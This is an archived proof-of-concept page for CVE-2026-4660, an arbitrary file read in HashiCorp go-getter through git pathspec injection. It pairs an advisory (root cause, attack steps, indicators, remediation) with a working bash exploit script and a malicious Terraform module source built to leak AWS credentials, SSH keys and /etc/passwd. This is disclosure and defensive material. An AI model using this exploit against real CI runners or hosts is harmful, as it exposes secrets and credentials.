PoC Archive PoC Archive
High CVE-2026-4660 / HCSEC-2026-04 patched

HashiCorp go-getter Git Pathspec Arbitrary File Read (CVE-2026-4660)

by gouldnicholas (original reporter) · 2026-07-05

CVSS 7.5/10
Severity
High
CVE
CVE-2026-4660 / HCSEC-2026-04
Category
cloud
Affected product
hashicorp/go-getter (used by Terraform, Nomad, Packer, Waypoint)
Affected versions
go-getter v1.8.2 – v1.8.5 (fixed in v1.8.6); Terraform v1.14.8 (latest stable as of disclosure had not yet incorporated the fix)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researchergouldnicholas (original reporter)
CVE / AdvisoryCVE-2026-4660 / HCSEC-2026-04
Categorycloud
SeverityHigh
CVSS Score7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
StatusPoC
Tagsterraform, go-getter, git, pathspec-injection, arbitrary-file-read, ci-cd, supply-chain, iac
RelatedN/A

Affected Target

FieldValue
Software / Systemhashicorp/go-getter (used by Terraform, Nomad, Packer, Waypoint)
Versions Affectedgo-getter v1.8.2 – v1.8.5 (fixed in v1.8.6); Terraform v1.14.8 (latest stable as of disclosure had not yet incorporated the fix)
Language / PlatformGo
Authentication RequiredNo (victim only needs to reference an attacker-controlled module source)
Network Access RequiredYes (victim must fetch the malicious git module, e.g. during terraform init)

Summary

go-getter resolves Terraform/Nomad/Packer/Waypoint module sources with ref query parameters passed straight through to git checkout. An attacker can publish a module whose ref is set to a git option such as --pathspec-from-file=/path/to/file instead of a real commit/branch/tag. When the victim’s tooling clones the module and runs git checkout --pathspec-from-file=/path/to/file, git reads the target file line-by-line, treats each line as an invalid pathspec, and echoes the file’s contents back in its error output — which then appears verbatim in the victim’s terraform init (or equivalent) logs. This allows arbitrary local file disclosure (credentials, SSH keys, /etc/passwd, CI secrets) with no apply step required, purely from resolving a malicious module reference.


Vulnerability Details

Root Cause

go-getter passes the user-supplied ref value unsanitized into git checkout <ref> inside two code paths: clone() (used when the destination directory doesn’t yet exist) and update() (used when it does), both of which call a shared checkout() function. Because ref is taken from the module source URL itself — which can point to an attacker-controlled repository nested inside an otherwise legitimate-looking module — the victim never sees the malicious value in their own configuration. clone() additionally defers os.RemoveAll(dst) on failure while update() does not, so the two paths differ only in whether the cloned directory survives the failed checkout; the underlying pathspec-injection vulnerability fires identically in both.

Attack Vector

  1. Attacker publishes a legitimate-looking Terraform module (e.g. a working AWS VPC module) on GitHub.
  2. Buried inside, a nested submodule source points to a second attacker-controlled repository with a malicious ref:
    1
    2
    3
    
    module "internal" {
      source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
    }
    
  3. The victim references only the top-level module in their own Terraform config and runs terraform init (locally or in CI).
  4. go-getter clones the top-level module, discovers the nested submodule, clones it, and calls git checkout --pathspec-from-file=/home/runner/.aws/credentials.
  5. Git reads the target file and reports each line as a failed pathspec match, dumping the file’s contents into the terraform init error output — which is often persisted in CI logs, log aggregators, or build artifacts with no expiry.

Impact

Arbitrary-file disclosure on any host or CI runner that resolves an attacker-influenced Terraform/Nomad/Packer/Waypoint module source. Any file readable by the process (~/.aws/credentials, ~/.ssh/id_rsa, CI token files, /etc/passwd, application configs) can be exfiltrated via what looks like an ordinary git/module-download failure, with contents visible to anyone with access to the build logs.


Environment / Lab Setup

Target:    Terraform v1.14.8 (go-getter v1.8.2), git 2.45.4, containerized attacker git server
Attacker:  Docker Compose lab with a "gitserver" container serving malicious bare repos over HTTP
Victim:    "poc" container running as user "runner" with planted ~/.aws/credentials, ~/.ssh/id_rsa, /etc/passwd

Proof of Concept

PoC Script

See poc.sh, Dockerfile, Dockerfile.gitserver, and docker-compose.yml in this folder.

1
docker compose up --build

Phase 1 runs terraform init against the malicious module chain to demonstrate the clone() code path (module directory is removed by the deferred RemoveAll after the failed checkout, consistent with credentials still leaking via log output first). Phase 2 directly drives go-getter’s update() call sequence (fetch + checkout) to show the same underlying checkout() vulnerability fires when the destination directory already exists, and that the directory survives (no RemoveAll defer in that path). No interaction is required; the containers run the full chain and print the leaked file contents.


Detection & Indicators of Compromise

error: pathspec '<file line content>' did not match any file(s) known to git

ref=--pathspec-from-file=...
ref=--upload-pack=...

Signs of compromise:

  • terraform init / module-install failures whose “pathspec did not match” errors contain recognizable credential or config file content rather than a plausible git ref.
  • Module source URLs (including transitively-referenced submodules) whose ref= query parameter begins with -- (a git option) instead of a branch/tag/commit.
  • CI log entries or aggregated logs (Datadog, Splunk, etc.) containing embedded secrets following a “Failed to download module” error block.

Remediation

ActionDetail
Primary fixUpgrade to go-getter ≥ v1.8.6 and, once available, the corresponding patched Terraform/Nomad/Packer/Waypoint release that vendors the fix.
Interim mitigationPin and audit all module sources (including transitive/nested ones) from untrusted registries; reject/validate ref values that begin with - before invoking any git operation; avoid persisting raw terraform init/module-download output to long-lived log stores; run module resolution in a sandboxed environment without access to sensitive local files.

References


Notes

Mirrored from https://github.com/gouldnicholas/CVE-2026-4660-PoC on 2026-07-05.

poc.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#!/bin/bash
# CVE-2026-4660: arbitrary file read via git checkout --pathspec-from-file
# hashicorp/go-getter
# affected: go-getter v1.8.2-v1.8.5, terraform v1.9.0-v1.14.8 (latest stable)
# fixed: go-getter v1.8.6
#
# checkout() in get_git.go is called from two paths in the go-getter library:
#
#   clone()  (line 226): defers os.RemoveAll(dst) -- dir deleted on failure
#   update() (line 284): no such defer             -- dir survives failure
#
# get_git.go:Get() routes to update() when os.Stat(dst) succeeds (dir exists),
# and to clone() when it does not.
#
# terraform: initwd/module_install.go:251 calls os.RemoveAll(instPath) before
# invoking go-getter for any module that needs installation. Terraform therefore
# always triggers clone(). Phase 1 demonstrates this path via terraform init.
#
# Packer, Nomad, and any other go-getter caller that reuses an existing
# destination directory will trigger update() instead. Phase 2 directly
# exercises update()'s git sequence -- fetch + checkout -- to show the same
# checkout() vulnerability fires and that the directory survives the failure
# (no RemoveAll defer in update()).

set -u

tmpdir=
cleanup() { [ -n "$tmpdir" ] && rm -rf "$tmpdir"; }
trap cleanup EXIT

echo "[*] target files:"
echo ""
echo "    ~/.aws/credentials:"
sed 's/^/        /' ~/.aws/credentials
echo ""
echo "    ~/.ssh/id_rsa:"
sed 's/^/        /' ~/.ssh/id_rsa
echo ""
echo "    /etc/passwd (first 3 lines):"
head -3 /etc/passwd | sed 's/^/        /'
echo "        ..."
echo ""
terraform version | head -1
echo ""

# go-getter calls: git checkout <ref>
# no -- separator, so a ref starting with -- is parsed as a git option
# --pathspec-from-file=<path> reads the file line by line as pathspecs,
# fails each one, and emits the line content in the error output
echo "[*] mechanism (raw git, unmangled by terraform error renderer):"
echo ""
tmpdir=$(mktemp -d)
git clone -q http://gitserver/terraform-aws-vpc-internal.git "$tmpdir"

echo "    ~/.aws/credentials:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.aws/credentials" 2>&1 | sed 's/^/        /' || true
echo ""

echo "    ~/.ssh/id_rsa:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.ssh/id_rsa" 2>&1 | sed 's/^/        /' || true
echo ""

echo "    /etc/passwd:"
git -C "$tmpdir" checkout "--pathspec-from-file=/etc/passwd" 2>&1 | sed 's/^/        /' || true

rm -rf "$tmpdir"; tmpdir=
echo ""

# attacker's outer module is a legitimate-looking terraform module
# victim never inspects its source; the malicious refs are in nested submodule calls
tmpdir=$(mktemp -d)
git clone -q http://gitserver/terraform-aws-vpc.git "$tmpdir"
echo "[*] attacker module (terraform-aws-vpc/main.tf -- victim never reads this):"
sed 's/^/    /' "$tmpdir/main.tf"
rm -rf "$tmpdir"; tmpdir=
echo ""

cat > ~/project/main.tf <<'EOF'
module "vpc" {
  source = "git::http://gitserver/terraform-aws-vpc.git"
}
EOF

echo "[*] victim's main.tf:"
sed 's/^/    /' ~/project/main.tf
echo ""

# --- phase 1: clone() path (get_git.go:226) ----------------------------------
# terraform's module installer removes the destination directory before calling
# go-getter (initwd/module_install.go:251), so Get() always sees a missing dst
# and routes to clone(). clone() defers os.RemoveAll(dst) on error -- dirs
# are gone after the failed checkout.
echo "=== phase 1: clone() path -- triggered via terraform init ==="
echo ""
echo "[*] terraform init (no cached modules):"
echo ""
cd ~/project
terraform init -no-color 2>&1 | tee /tmp/phase1.txt || true
echo ""

MODULES_DIR=~/project/.terraform/modules
echo "[*] phase 1 sentinel -- inner module dirs after clone() failure:"
all_absent=true
for key in vpc.creds vpc.key vpc.passwd; do
    d="$MODULES_DIR/$key"
    if [ -d "$d" ]; then
        echo "    unexpected: $d exists"
        all_absent=false
    else
        echo "    absent: $d  (clone() deferred RemoveAll on failure)"
    fi
done
$all_absent && echo "    all three dirs deleted -- clone() behavior confirmed"
echo ""

if grep -q "error: pathspec '" /tmp/phase1.txt; then
    echo "[+] phase 1 confirmed: file contents leaked via clone() path"
    echo ""
    echo "    leaked lines (terraform-wrapped at 80 chars; long values truncated -- raw section above has full content):"
    grep "error: pathspec '" /tmp/phase1.txt | \
        sed "s/.*error: pathspec '//;s/' did not match.*//;s/'[[:space:]].*$//" | \
        grep -v "^$" | sed 's/^/    /'
else
    echo "[-] phase 1: pathspec errors not found"
    cat /tmp/phase1.txt
    exit 1
fi
echo ""

# --- phase 2: update() path (get_git.go:284) ---------------------------------
# go-getter's Get() routes to update() when os.Stat(dst) succeeds (dir exists).
# terraform never takes this path (it removes dst before calling go-getter).
# Packer, Nomad, and direct go-getter callers that reuse existing directories do.
# update() runs: git fetch origin, then checkout(). No RemoveAll defer --
# the directory survives the failed checkout, unlike clone().
#
# This phase directly exercises update()'s git sequence to show that the same
# checkout() vulnerability fires and that dst is preserved on failure.
echo "=== phase 2: update() path -- direct go-getter API simulation ==="
echo ""
echo "[*] setup: pre-existing module directory (simulates prior successful install)"
echo ""
tmpdir=$(mktemp -d)
git clone -q http://gitserver/terraform-aws-vpc-internal.git "$tmpdir"
echo "    dst exists: $tmpdir"
echo "    go-getter Get() routes to update() on os.Stat(dst) success"
echo ""

echo "[*] update() step 1 -- git fetch origin (no ref arg for non-hash refs):"
git -C "$tmpdir" fetch origin 2>&1 | sed 's/^/    /' || true
echo ""

echo "[*] update() step 2 -- checkout() (get_git.go:284, same call as clone() path):"
echo ""
echo "    ~/.aws/credentials:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.aws/credentials" 2>&1 | tee /tmp/phase2_creds.txt | sed 's/^/        /' || true
echo ""
echo "    ~/.ssh/id_rsa:"
git -C "$tmpdir" checkout "--pathspec-from-file=/home/runner/.ssh/id_rsa" 2>&1 | tee /tmp/phase2_key.txt | sed 's/^/        /' || true
echo ""
echo "    /etc/passwd:"
git -C "$tmpdir" checkout "--pathspec-from-file=/etc/passwd" 2>&1 | tee /tmp/phase2_passwd.txt | sed 's/^/        /' || true
echo ""

echo "[*] phase 2 sentinel -- dst after update() failure:"
if [ -d "$tmpdir/.git" ]; then
    echo "    present: $tmpdir  (update() has no RemoveAll defer)"
    echo "    clone() would have deleted this directory"
else
    echo "    unexpected: $tmpdir absent"
fi
rm -rf "$tmpdir"; tmpdir=
echo ""

if grep -q "error: pathspec '" /tmp/phase2_creds.txt && \
   grep -q "error: pathspec '" /tmp/phase2_key.txt && \
   grep -q "error: pathspec '" /tmp/phase2_passwd.txt; then
    echo "[+] phase 2 confirmed: checkout() vulnerable in update() path"
    echo "    same leak, dst preserved -- callers: Packer, Nomad, direct go-getter API"
else
    echo "[-] phase 2: pathspec errors not found"
    exit 1
fi